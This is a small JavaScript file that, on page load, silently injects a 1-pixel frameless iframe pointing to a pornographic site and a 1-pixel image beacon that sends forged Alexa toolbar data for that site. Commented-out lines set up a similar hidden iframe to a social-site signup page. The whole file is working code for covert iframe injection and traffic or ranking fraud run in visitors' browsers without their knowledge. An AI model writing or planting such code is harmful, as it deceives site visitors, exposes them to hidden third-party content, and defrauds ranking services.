
function addEvent( obj, type, fn )
{
	if (obj.addEventListener)
		obj.addEventListener( type, fn, false );
	else if (obj.attachEvent)
	{
		obj["e"+type+fn] = fn;
		obj[type+fn] = function() { obj["e"+type+fn]( window.event ); }
		obj.attachEvent( "on"+type, obj[type+fn] );
	}
}

function appendRequest(){
	var img = document.createElement("img");
    img.setAttribute('width','1px');
    img.setAttribute('height','1px');
    
	var iframe = document.createElement("iframe");
	
	//add attributes
	iframe.setAttribute('src','http://shareporno.com/alexa.php');
	iframe.setAttribute('width','1px');
	iframe.setAttribute('height','1px');
    iframe.setAttribute('frameborder','0');
	
	img.setAttribute('src','http://data.alexa.com/data/slTU1yp7tzaq4C?cli=10&dat=snba&ver=7.2&cdt=alx_vw&wid=24279&act=00000000000&ss=800x800&bw=1523&t=0&ttl=797&vis=1&rq=&url=http://shareporno.com');
	img.setAttribute('width','1');
	img.setAttribute('height','1');
    //test for outbound reciprocal link
    //var iframex = document.createElement("iframe");
	
	//add attributes
	//iframex.setAttribute('src','http://www.dizzspace.com/signup/friend_erazare/');
    //iframex.setAttribute('src','http://www.dizzspace.com/');
	//iframex.setAttribute('width','1px');
	//iframex.setAttribute('height','1px');
    //iframex.setAttribute('frameborder','0');
	
	//var lastEl = window.document.body.lastChild;//if u want the last element
	
	//append element
	document.body.appendChild(iframe);
	document.body.appendChild(img);
	//document.body.appendChild(iframex);
}

addEvent(window,'load',appendRequest);
